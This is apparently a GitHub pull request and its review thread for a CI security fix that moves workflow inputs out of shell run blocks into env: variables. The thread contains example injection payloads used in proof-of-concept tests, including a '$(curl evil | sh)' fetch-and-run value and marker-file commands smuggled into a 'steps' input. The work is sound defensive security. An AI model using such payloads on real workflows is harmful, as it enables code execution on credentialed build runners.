sec(ci): stop interpolating migration inputs into run blocks

[cristim]

Summary

database-migration.yml interpolated ${{ inputs.direction }} and ${{ inputs.steps }} directly into the shell source of every migrate-* job's run: block. This closes the injection and the specific "guard runs after interpolation" trap named in the issue title, and fixes the byte-identical pattern found in three sibling files during the required repo-wide sweep.

Does the post-interpolation guard work the way the title describes? Yes, confirmed

GitHub Actions substitutes ${{ ... }} expressions into the run: script text before bash ever parses that text. So for the direction=down guard:

if ! [[ "${{ inputs.steps }}" =~ ^[1-9][0-9]*$ ]]; then

a steps value of $(curl evil | sh) is substituted first, producing:

if ! [[ "$(curl evil | sh)" =~ ^[1-9][0-9]*$ ]]; then

bash then evaluates the command substitution while evaluating the guard's own condition, before the guard can reject anything. The guard validates the string that a payload produced, not the payload itself, by which point the payload already ran.

I reproduced this locally rather than asserting it from reading the YAML: rendered the pre-fix template with python3 string substitution (mirroring exactly what GitHub's templating does), then executed the rendered script.

• direction=up path (no guard at all): payload 1; touch PWNED_OLD # as steps executed touch directly. Confirmed file created.
• direction=down path (the "guard"): payload $(touch PWNED_GUARD) as steps. The script printed "Refusing to roll back..." and exited 1 (the guard "worked", from the workflow's perspective) — and the marker file was still created, proving the injected command ran during the guard's own condition evaluation, before the rejection.

Then ran the fixed logic with the same two payloads delivered as real environment variables (STEPS='...' bash new_fixed_up.sh, matching how the runner actually passes env: values) — both were rejected as inert string data with zero execution, in either path.

Fix (database-migration.yml)

• Route every inputs.* value through env: and reference the quoted shell variable. No ${{ }} remains in any run: block in this file — matches the standard set by the already-merged fix(ci): stop interpolating dispatch inputs into rollback run blocks #1641 (rollback.yml) and fix(ci): stop interpolating the release tag into a run block #1657 (deploy-aws-lambda.yml).
• Validate steps for direction=up too, not only down (the issue's explicit finding: "any other value passes validate untouched"). Checked in validate and again in each migrate-* job as defense in depth, mirroring the existing down-path pattern.
• Validate the workflow_call string inputs (cloud, environment, direction) against an explicit allowlist in validate. workflow_dispatch constrains these via type: choice (server-side enforced); workflow_call typed them as free-form strings with no such enforcement — this was the "latent workflow_call surface" the issue flagged.
• Drop id-token: write to job level, granted only to the environment-bound migrate-aws / migrate-gcp / migrate-azure jobs. validate and summary never authenticate to a cloud provider.
• ${{ env.MIGRATIONS_PATH }} (a static, non-attacker-controlled workflow-level value) is referenced as $MIGRATIONS_PATH directly — it's already exported as a real shell env var by GitHub for every step in the workflow, so the ${{ }} wrapper was redundant once everything else was being converted for consistency.

Sibling sweep (as requested)

Grepped .github/workflows/*.yml for ${{ inputs.* }} / ${{ github.event.* }} reaching a run: block. Findings, classified:

File	Line(s)	Expression	Verdict
deploy-gcp.yml	prepare/"Determine environment"	${{ inputs.environment }}	Byte-identical to the already-fixed #1657 pattern. Fixed here.
deploy-aws-fargate.yml	prepare/"Determine environment"	${{ inputs.environment }}	Byte-identical. Fixed here.
deploy-azure.yml	prepare/"Determine environment"	${{ inputs.environment }}	Byte-identical. Fixed here.
deploy-all.yml	"Set cloud providers"	${{ inputs.deploy_to || 'all' }}	Same shape, but not exploitable: deploy-all.yml has no workflow_call trigger, so inputs.deploy_to is always type: choice, server-side enforced. Left as-is (out of scope, not byte-identical to the vulnerable pattern since there's no free-text path).
everywhere	various	${{ github.event_name }}	Not attacker-controlled (GitHub's own trigger-type enum). No action needed.

The three fixed occurrences were more severe than database-migration.yml's: each prepare job is completely ungated (no environment: binding) and still holds workflow-level id-token: write in all three files — the same ungated-and-credentialed shape #1657 fixed in deploy-aws-lambda.yml and #1641 fixed in rollback.yml, just not yet applied here. I mirrored that exact already-merged pattern (case-based dispatch through env: + explicit workflow_call allowlist) rather than inventing a new one.

Scope note: I fixed only the byte-identical interpolation line in each of the three sibling files (the prepare job's "Determine environment" step), not a full rewrite of those files. Each has other ${{ }} usages in run: blocks (Terraform apply steps, deployment-info heredocs, etc.) that reference either GitHub-safe values (github.actor, github.sha) or values already validated by this fix (needs.prepare.outputs.environment) — none are raw untrusted string paths, so I left them untouched per the proportionate-fix constraint. Flagging for awareness, not fixing here.

Also flagging, not fixing: these three files still declare permissions: id-token: write at workflow level (all jobs including prepare, test-deployment, summary inherit it), matching the class tracked by LeanerCloud/cloud-commitments-platform#140 ("workflows granting id-token: write to ungated jobs"). Scoping that down to job level the way #1641/#1657 did is a larger, separate change than "env indirection and guard ordering" — leaving it for LeanerCloud/cloud-commitments-platform#140 or a dedicated follow-up rather than expanding this PR.

Verification

• actionlint (v1.7.12), diffed against each file's unmodified origin/main version (same method as PR fix(ci): grant id-token permissions to deploy-all.yml caller jobs #1724): zero new finding types introduced in any of the four files. Every remaining finding (SC2086/SC2012/style, all info/style severity) is pre-existing shellcheck debt in run: blocks this change does not touch (the Terraform-endpoint steps' unquoted $GITHUB_OUTPUT, an ls vs find style suggestion).
• act -l on all four changed workflow files: job graphs parse correctly with the new env:/permissions: blocks in place (workflow_dispatch, workflow_call, and push where applicable).
• Local injection PoC (see above): reproduced the actual pre-fix RCE on both the up and down paths, then re-ran the fixed logic against the identical payloads and confirmed rejection with no execution.
• Did not dispatch a real migration or deploy workflow (no database/cloud credentials in this environment).

Scope

env: indirection, guard ordering/coverage, workflow_call input validation, and job-level id-token scoping only — the same four items the issue's "Fix direction" section named, applied to database-migration.yml, plus the byte-identical pattern in three siblings. No concurrency groups (#1593), no Terraform backend config changes (#1589), no version pin changes (#1588), no restructuring beyond what's described above.

Closes #1647

[coderabbitai]

Warning

Review limit reached

You’ve reached a temporary PR review limit under our Fair Usage Limits Policy.

Your recent review volume is higher than typical usage, so adaptive limits are currently applied.

Next review available in: 10 minutes

Enable usage-based reviews in Billing to review now. Otherwise, wait until the next included review is available.
You're only billed for reviews past your plan's rate limits ($0.25/file).

How can I continue?

After more reviews become available, a review can be triggered using the @coderabbitai review command as a PR comment. Alternatively, push new commits to this PR.

To avoid repeated limits, reduce automatic review volume by pausing incremental auto-reviews earlier, using label-based review opt-in, excluding WIP or generated PR titles, or requesting reviews manually when the PR is ready. If your team needs uninterrupted high-volume reviews, an organization admin can enable usage-based reviews.

How do review limits work?

CodeRabbit enforces per-developer PR review limits for each organization. Most developers receive the normal plan review availability.

For paid Pro and Pro+ PR reviews, CodeRabbit uses adaptive limits for sustained high-volume activity. When a developer's recent PR review activity reaches the 95th percentile or higher among CodeRabbit users, additional reviews become available more gradually as earlier reviews age out of the rolling window.

Please refer docs for additional details.

Review details

⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: df0819b1-6f6b-4161-9ba1-2b678f8f3e07

📥 Commits

Reviewing files that changed from the base of the PR and between 9102e1c and ce437a3.

📒 Files selected for processing (4)

• .github/workflows/database-migration.yml
• .github/workflows/deploy-aws-fargate.yml
• .github/workflows/deploy-azure.yml
• .github/workflows/deploy-gcp.yml

---

_{Comment @coderabbitai help to get the list of available commands.}

[cristim]

Adversarial review — PR #1726 @ ce437a391

Independent review in a separate worktree at ce437a391 (confirmed current head; the rebase onto post-#1729 main took — mergeStateStatus: CLEAN, and 9102e1c2a chore(frontend): patch js-yaml and nanoid advisories (#1729) is the parent).

Verdict: the fix is correct and the sweep is complete. No blocking findings. Three minor findings, none affecting the security outcome.

---

The PoC — reproduced independently, and it is exactly as described

I did not take this on trust. I extracted the real pre-fix Run migrations block from origin/main (not a paraphrase), rendered it by plain text substitution the way GitHub renders ${{ }} before bash parses anything, and executed it in a sandbox with a stubbed migrate:

CASE 1 (pre-fix, direction=up):   steps = '1; touch PWNED_UP #'
  Applying 1; touch PWNED_UP # migration(s)...
  [stub migrate] ... up 1
  exit=0
  >>> RCE CONFIRMED: PWNED_UP created

CASE 2 (pre-fix, direction=down): steps = '$(touch PWNED_GUARD)'
  ❌ Refusing to roll back without an explicit positive 'steps' value.
  exit=1
  >>> RCE CONFIRMED: PWNED_GUARD created DESPITE the guard rejecting

CASE 3 (POST-fix logic, identical payloads delivered as env: vars)
  rejected: 'steps' must be a non-negative integer (got '1; touch PWNED_FIXED_UP #').
  rejected: refusing to roll back without an explicit positive 'steps'.
  >>> FIX HOLDS: no marker files, both payloads inert

Case 2 is the load-bearing claim and it holds precisely: the workflow prints the rejection and exits 1 — from the workflow's point of view the guard "worked" — and the payload has already executed, because $(touch PWNED_GUARD) was substituted into the script text and bash ran it while evaluating the guard's own [[ ... =~ ... ]] condition. A post-interpolation guard validates the output of the attack, not the attack. The sandbox listing confirms PWNED_UP and PWNED_GUARD exist and no PWNED_FIXED_* does.

---

Claims re-derived

1. Is the env: indirection complete? — YES, verified by execution.

Grep can't distinguish a ${{ }} in a run: body from one in env:/with:/if:, so I wrote a YAML-aware scanner that loads each workflow and walks every mapping key literally named run, reporting the expressions inside the resulting shell source.

database-migration.yml does not appear in the output at all — zero ${{ }} expressions in any run: body. The core claim is verified.

Across all four changed files, no inputs.* and no github.event.* reaches any run: body. Every remaining inputs.* reference in those files sits in a safe context: env: values (the fix itself), environment.name, or if: conditions — GitHub expression contexts, not shell source. The sibling files retain other ${{ }} in run bodies (needs.*.outputs.*, github.sha, github.actor, vars.*), exactly as the scope note says; none are free-text input paths.

My scanner conservatively flagged env.AZURE_LOCATION / env.GCP_REGION / env.RESOURCE_GROUP as untrusted. They are not: all three are workflow-level values derived from vars.* (admin-set repo/org variables) with static literal fallbacks. MIGRATIONS_PATH is a static literal (internal/database/postgres/migrations). Not injection vectors — my classifier was over-broad.

2. Are the values genuinely inert as env vars? — YES.

I extracted every run: body from database-migration.yml and ran shellcheck on each directly, plus the three deploy prepare steps:

• Zero SC2086 in validate, in any of the three Run migrations steps, or in any of the three deploy prepare steps. Every security-relevant variable — STEPS, DIRECTION, CLOUD, ENVIRONMENT, CONFIRM, INPUT_ENVIRONMENT, EVENT_NAME, MIGRATIONS_PATH, DB_URL — is quoted at every reference, including migrate ... up "$STEPS", so even a hypothetical regex bypass yields one argv element rather than shell source.
• The only SC2086s in the file are unquoted $GITHUB_OUTPUT at line 9 of the three untouched get-endpoint steps — pre-existing, runner-provided, not attacker-controlled, and confirmed untouched by this diff.
• No eval, no sh -c/bash -c, no command-substitution backticks anywhere in the four files. Every backtick hit is inside a YAML comment or an escaped markdown fence (\``json`).
• No actions/github-script anywhere in .github/workflows/ — the classic sibling vector a run:-only scan would miss.

3. The sibling sweep — complete. No fifth file.

I ran my own scanner over all 16 workflow files rather than trusting the table. Exactly one file outside the four has inputs.* reaching a run: body: deploy-all.yml. The out-of-scope verdict rests entirely on it having no workflow_call trigger, so I checked that directly:

deploy-all.yml TRIGGERS: ['workflow_dispatch', 'release']
  workflow_dispatch.environment  type=choice options=['dev','staging','prod']  required=True
  workflow_dispatch.deploy_to    type=choice options=['all','aws-only',...]     required=True

No workflow_call. Both inputs are type: choice with explicit options, enforced server-side before the run starts; on the release trigger inputs is undefined and renders empty. The verdict is correct — see F1 for a completeness nit about the table itself.

4. The workflow_call allowlist — covers every input that reaches a shell, and validates first.

database-migration.yml declares exactly three workflow_call inputs — cloud, environment, direction, all type: string — and validate allowlists all three via case before any use. steps and confirm are workflow_dispatch-only (steps is type: number, additionally regex-validated ^(0|[1-9][0-9]*)$; on the workflow_call path it renders empty and is explicitly defaulted via STEPS="${STEPS:-0}"; confirm is only ever string-compared). Ordering is right: nothing is used before its case runs, and validate gates every migrate job through both needs: validate and if: needs.validate.outputs.is_safe == 'true'. The steps/direction checks are then repeated inside each environment-bound migrate job as genuine defense in depth.

Permissions scoping verified: database-migration.yml now carries workflow-level contents: read only, with id-token: write granted solely to the three migrate-* jobs, each bound to an environment:. validate and summary get contents: read.

5. Did it break the workflows? — No.

• actionlint v1.7.12, head vs. each file's origin/main version, comparing normalised finding sets (its -format '{{json .}}' emits [] in this build, so I diffed the text findings instead): zero new finding types in all four files. Counts dropped everywhere, most sharply where the interpolation was removed: database-migration 28 → 5, deploy-gcp 25 → 22, deploy-aws-fargate 27 → 24, deploy-azure 26 → 23.
• act -l on all four: every job graph parses with correct staging and triggers. database-migration.yml still resolves validate → migrate-aws|migrate-gcp|migrate-azure → summary across workflow_dispatch,workflow_call. The migration still runs.
• CI on this head is fully green, including CI - Build & Test. chore(frontend): patch js-yaml and nanoid advisories #1729 has merged and the rebase took, as expected.

6. The LeanerCloud/cloud-commitments-platform#140 scope-out — correct, and not made worse.

All three deploy files still declare workflow-level permissions: {id-token: write, contents: read}, inherited by ungated prepare, test-deployment and summary. This PR does not touch a single permissions/id-token line in those three files (the filtered diff is empty), so it neither fixes nor worsens LeanerCloud/cloud-commitments-platform#140. Leaving it is the right call for a PR scoped to interpolation and guard ordering.

Worth recording for LeanerCloud/cloud-commitments-platform#140's priority: in deploy-gcp.yml and deploy-azure.yml no job has an environment: binding at all — including build-and-deploy, which runs terraform apply — while the workflow holds id-token: write. Only deploy-aws-fargate.yml's deploy job is environment-bound. That is a more exposed shape than database-migration.yml had before this PR, and it is now the weakest remaining link in this family.

---

Findings

F1 — Low · the sweep table under-reports its own file

The sweep table lists one occurrence for deploy-all.yml (inputs.deploy_to). My scan finds three inputs.* expressions reaching run: bodies there:

• determine-deployment.steps[0]: echo "environment=${{ inputs.environment }}" >> $GITHUB_OUTPUT ← not listed
• determine-deployment.steps[1]: DEPLOY_TO="${{ inputs.deploy_to || 'all' }}"
• determine-deployment.steps[2]: echo "**Deploy Strategy:** ${{ inputs.deploy_to || 'all' }}"

The verdict is correct for all three — same type: choice, same absence of workflow_call — so this is not a security gap. But the table is the audit artifact a future reader will trust when deciding whether deploy-all.yml was examined, and inputs.environment never appears in it. Worth listing all three so the next sweep doesn't have to rediscover them.

F2 — Low/Informational · dead free-text workflow_call input

deploy-aws-fargate.yml declares workflow_call.inputs.image_uri: {type: string} (line 50) that is referenced nowhere in the file — image_tag comes from ${{ github.sha }} via set-tag, not from it. Harmless today precisely because it is unused, but it is an unvalidated free-text input sitting in the declaration block of a file whose allowlist covers only environment. If someone later wires it into a run: or a Terraform var, it inherits none of this PR's validation. Either drop it or add it to the allowlist pattern.

F3 — Informational · pre-existing, not introduced, but on a line this PR touched

echo "MIGRATION_VERSION=$VERSION" >> "$GITHUB_ENV", where VERSION=$(migrate ... version 2>&1 || echo "unknown"). Because 2>&1 folds stderr in, VERSION can be multiline (e.g. error: Dirty database version 57. Fix and force version.), and a multiline value written in KEY=value form breaks $GITHUB_ENV framing — the standard GITHUB_ENV injection shape, where subsequent lines are parsed as further assignments. The correct form is the heredoc delimiter syntax.

This is not introduced by this PR — I checked the diff, and the only change to that line is adding quotes around $GITHUB_ENV, which is strictly an improvement. Exploiting it requires influencing migrate's error text, i.e. database access. Flagging only because this is a security PR that touched that exact line, so it is the natural moment to note it.

Nit

validate and the Run migrations steps use set -uo pipefail (no -e) while the three deploy prepare steps use set -euo pipefail. Both are correct in context — validate deliberately accumulates IS_SAFE rather than aborting on first failure, and in the migrate steps migrate is the last command so its status propagates — but the inconsistency is worth a comment if anyone later assumes -e is in effect.

---

Proportionality

Well scoped. The change is env: indirection, guard coverage/ordering, a workflow_call allowlist, and job-level id-token — the four items the issue named, plus the byte-identical line in three siblings, and nothing else. It reuses the already-merged #1641/#1657 pattern rather than inventing a new one, and the three sibling edits are the minimum change that closes the same hole (one step each), not a rewrite. Explicitly declining LeanerCloud/cloud-commitments-platform#140, #1593, LeanerCloud/cloud-commitments-platform#114 and LeanerCloud/cloud-commitments-platform#113 is the right call.

Residual risk

• The three deploy files remain in the sec(ci): sibling deploy and sanity workflows grant id-token write to ungated jobs cloud-commitments-platform#140 shape, unchanged by this PR and correctly flagged in the body. Given deploy-gcp.yml/deploy-azure.yml have no environment binding on the job that runs terraform apply, I'd prioritise sec(ci): sibling deploy and sanity workflows grant id-token write to ungated jobs cloud-commitments-platform#140 over the remaining items in this family.
• The validate → migrate-* gate depends on is_safe being a job output and the if: condition; both are present and I traced both. A future edit that drops either half silently removes the allowlist's teeth, since the in-job defense-in-depth checks cover only steps/direction, not cloud/environment.

[cristim]

Merging on a clean independent adversarial review plus green CI. CodeRabbit has posted no verdict; its quota is shared across the open PRs and throttled.

The review reproduced the load-bearing claim rather than accepting it: it extracted the real pre-fix Run migrations block from origin/main, rendered it by text substitution the way GitHub does, and ran it sandboxed. Result: down with $(touch PWNED_GUARD) printed Refusing to roll back, exited 1, and created the marker file anyway. The guard validates the output of the attack, not the attack. Same payloads as env: vars against the fixed logic produced no marker files.

It also independently confirmed the sweep was complete — a YAML-aware scanner over all 16 workflows walking every mapping key named run, rather than a grep that cannot distinguish a ${{ }} in a run: body from one in env: or if:. No fifth vulnerable file. deploy-all.yml was checked directly and cleared: workflow_dispatch + release only, no workflow_call, both inputs type: choice.

Three minor findings recorded on the review, none blocking, all filed or noted rather than lost.